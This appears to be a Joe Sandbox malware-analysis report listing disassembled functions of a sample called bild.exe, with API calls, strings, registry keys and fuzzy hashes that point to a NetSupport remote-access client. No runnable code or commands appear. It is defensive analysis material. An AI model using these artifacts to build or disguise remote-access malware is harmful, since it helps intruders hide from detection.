Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 3360349984-1136101629
Opcode ID: c9018d34e74e4049c7ebca087304ef1218ab8024f9415a3366a00b8023e95b9a
Instruction ID: 7cf91fcea6c2a3c5c2684f5d08a561b662f4dc7f01f0c277a0d6c7245401f800
Opcode Fuzzy Hash: c9018d34e74e4049c7ebca087304ef1218ab8024f9415a3366a00b8023e95b9a
Instruction Fuzzy Hash: E7015E7A7443166FE3209EA9CC86F57FBA8DB44764F104128FA25962C4DA60F805CB64

Function 11031960 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110319A7

Strings

%s%s%s.bin, xrefs: 110319A1
_HW, xrefs: 11031970
_HF, xrefs: 11031988, 1103198D
632922, xrefs: 1103198E
_SW, xrefs: 1103197C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$632922$_HF$_HW$_SW
API String ID: 2111968516-1928761744
Opcode ID: b97882e65002706a22fb778f12bbc90950e65c749b3e8462a2311051e46cf205
Instruction ID: 34a826dfca0d5743c415d593f242b0f3cefc790b54bbadf5113738552eb06063
Opcode Fuzzy Hash: b97882e65002706a22fb778f12bbc90950e65c749b3e8462a2311051e46cf205
Instruction Fuzzy Hash: 93E092A1D1870C6FF70085589C15F9EFAE87B4978EFC48051BEEDA7292E935D60082D6

Function 11102AB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 11102B03
GetStockObject.GDI32(00000004), ref: 11102B5B
RegisterClassA.USER32(?), ref: 11102B6F
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00130000,00000000,11000000,00000000), ref: 11102BAC

Strings

NSMDesktopWnd, xrefs: 11102AE9, 11102B68, 11102BA6

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: e27069a72c11c1f4eb1c56e7938a9b61728f0754eae0ec1cd31abd721b9bda48
Instruction ID: 4c07b853b75387a4d851a66abc04609236edd6d81c14be1d28904dd9f6a0e6ac
Opcode Fuzzy Hash: e27069a72c11c1f4eb1c56e7938a9b61728f0754eae0ec1cd31abd721b9bda48
Instruction Fuzzy Hash: C231F4B0D15619AFDB44CFA9D980A9EFBF4FB08314F50962EE46AE3640E7346900CF94

Function 1113CC30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000000,00000000,TermUI...), ref: 1113CC9A
KillTimer.USER32(00000000,00007F61,TermUI...), ref: 1113CCB3
FreeLibrary.KERNEL32(75B40000,?,TermUI...), ref: 1113CD2B
FreeLibrary.KERNEL32(00000000,?,TermUI...), ref: 1113CD43

Strings

TermUI, xrefs: 1113CC32

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FreeKillLibraryTimer
String ID: TermUI
API String ID: 2006562601-4085834059
Opcode ID: 0b8b98d89ae2f905afc74c8ae1c01cea1ae783866c2b84ef9f483cfa62b8061f
Instruction ID: 1c615ec055e307fcecd6c2f5a0081f3099d40e524c959ad3afbad8c7da76a6da
Opcode Fuzzy Hash: 0b8b98d89ae2f905afc74c8ae1c01cea1ae783866c2b84ef9f483cfa62b8061f
Instruction Fuzzy Hash: 813182B46121329FE605DF9ACDE496EFB6ABBC4B1C750402BF4689720CE770A845CF91

Function 11145330 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111453A0
RegCloseKey.ADVAPI32(?), ref: 11145404

Strings

ForceRTL, xrefs: 111453C3
SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11145367, 1114539E
SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 11145380

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: 2e1f21c9ebfd0fdc4230699bf98ebb40bf83fdb687853d653e48f9fb82f12d2f
Instruction ID: 3a61aca8bf2f26e8be4db12f87e0943ca7983303b4b50086f785ef97d0623835
Opcode Fuzzy Hash: 2e1f21c9ebfd0fdc4230699bf98ebb40bf83fdb687853d653e48f9fb82f12d2f
Instruction Fuzzy Hash: 56218875E0422A9BE760DB64CD80B9EF7B8EB44708F1042AAD85DF7540E771AD458BB0

Function 111114D0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 11111430: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111145A
Part of subcall function 11111430: __wsplitpath.LIBCMT ref: 11111475
Part of subcall function 11111430: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111114A9

GetComputerNameA.KERNEL32(?,?), ref: 11111578

Strings

, xrefs: 11111571
\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 11111587
ACM, xrefs: 11111532
\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 11111520

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 10a04c85090393e181044af2bbe891b78f34dcae4f388202a219c12921f261b8
Instruction ID: bd5304e3d9974d7ab46afc427c644d654ac0d4b62daaa3d8a48381b774377c4d
Opcode Fuzzy Hash: 10a04c85090393e181044af2bbe891b78f34dcae4f388202a219c12921f261b8
Instruction Fuzzy Hash: 4B214676A142491BD701CF309D80BBFFFBA9F8B249F080578D852DB145E626D914C391

Function 11144200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 11143C20: GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
Part of subcall function 11143C20: GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Downloads\bild.exe,00000104,?,11143E73,?), ref: 11143C49

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 11144255
ResetEvent.KERNEL32(0000024C), ref: 11144269
SetEvent.KERNEL32(0000024C), ref: 1114427F
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 1114428E

Strings

MiniDump, xrefs: 11144207

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: af02bfec1e2ad683ef615fadee7153e651b028109eb63fc5543e4d95a1405a56
Instruction ID: 829689d5ebdc208bf7b78735a50f5ce9a06f611da5f38dced1c13c8e9b13f18e
Opcode Fuzzy Hash: af02bfec1e2ad683ef615fadee7153e651b028109eb63fc5543e4d95a1405a56
Instruction Fuzzy Hash: 4F113875E5422677E300DFF99C81F9AF768AB44B28F200230EA24D75C4EB71A504C7B1

Function 11146DA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 11146DCF
wsprintfA.USER32 ref: 11146E06

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\util.cpp, xrefs: 11146E1B
i < _tsizeof (buf), xrefs: 11146E20
#%d, xrefs: 11146E00

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: 74c0a5bdbb0b764e858cc1f7afd52fdb49af151022e5f3ed446820e6430d86d5
Instruction ID: b1a6c5171231f01418375ac6f2de6c12625a8d09d3611db16d7d0d369645f93a
Opcode Fuzzy Hash: 74c0a5bdbb0b764e858cc1f7afd52fdb49af151022e5f3ed446820e6430d86d5
Instruction Fuzzy Hash: FA11A5FAE00128ABC720DB65ED81FAAF77C9B4461DF000565EB19B6141EA35AA05C7A8

Function 1110F420 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110F439

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

wsprintfA.USER32 ref: 1110F454

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

_memset.LIBCMT ref: 1110F477

Strings

Can't alloc %u bytes, xrefs: 1110F44E
..\ctl32\Refcount.cpp, xrefs: 1110F465

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: 483ab18efc666d7fafa6765eedd91fa0800c96548fafe518ebc1f691375ec46a
Instruction ID: e8e28b36a5a63397ef775e95fa380a20e388029766e4784519104262db02a7f0
Opcode Fuzzy Hash: 483ab18efc666d7fafa6765eedd91fa0800c96548fafe518ebc1f691375ec46a
Instruction Fuzzy Hash: 1CF0F6B5E0012863C720AFA5AC06FEFF37C9F91658F440169EE04A7241EA71BA11C7E9

Function 11145AE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

LoadLibraryA.KERNEL32(shcore.dll,00000000,?,11030690,00000002), ref: 11145AFF
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 11145B11
FreeLibrary.KERNEL32(00000000,?,11030690,00000002), ref: 11145B24

Strings

SetProcessDpiAwareness, xrefs: 11145B0B
shcore.dll, xrefs: 11145AFA

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadOpenProcVersion_memset_strncpy
String ID: SetProcessDpiAwareness$shcore.dll
API String ID: 1108920153-1959555903
Opcode ID: 84c8b7a82ef375d59f410a45cba939869921b52f6e49d691c42b1d567085cd2e
Instruction ID: 699a5c6b52ff0bb6954823876d42b720b76b3255f49526743c1f98bd9e848574
Opcode Fuzzy Hash: 84c8b7a82ef375d59f410a45cba939869921b52f6e49d691c42b1d567085cd2e
Instruction Fuzzy Hash: 67F0A03A70022877E21416BAAC08F9ABB5A8BC8A75F140230F928D69C0EB51C90086B5

Function 11031870 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031926

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

%s%s.bin, xrefs: 11031920
m_pDoInv == NULL, xrefs: 110318A3
632922, xrefs: 11031907
clientinv.cpp, xrefs: 1103189E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$632922$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-1071554633
Opcode ID: 84e0b1850b63e3f6f9fe70c2d5af7440bbdd732114a0c990adb36dbba2c833c3
Instruction ID: 64da4217f7417b153db366359b1c36bd372b32cb55e7c28d29c46c6ec3487e21
Opcode Fuzzy Hash: 84e0b1850b63e3f6f9fe70c2d5af7440bbdd732114a0c990adb36dbba2c833c3
Instruction Fuzzy Hash: 5421A1B9E04709AFD710CF65DC81BAAB7F4FB88718F40453EE86597680EB35A9008B65

Function 11144670 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(11144D48,00000000,?,11144D48,00000000), ref: 1114468C
__strdup.LIBCMT ref: 111446A7

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

Part of subcall function 11144670: _free.LIBCMT ref: 111446CE

_free.LIBCMT ref: 111446DC

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

CreateDirectoryA.KERNEL32(11144D48,00000000,?,?,?,11144D48,00000000), ref: 111446E7

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
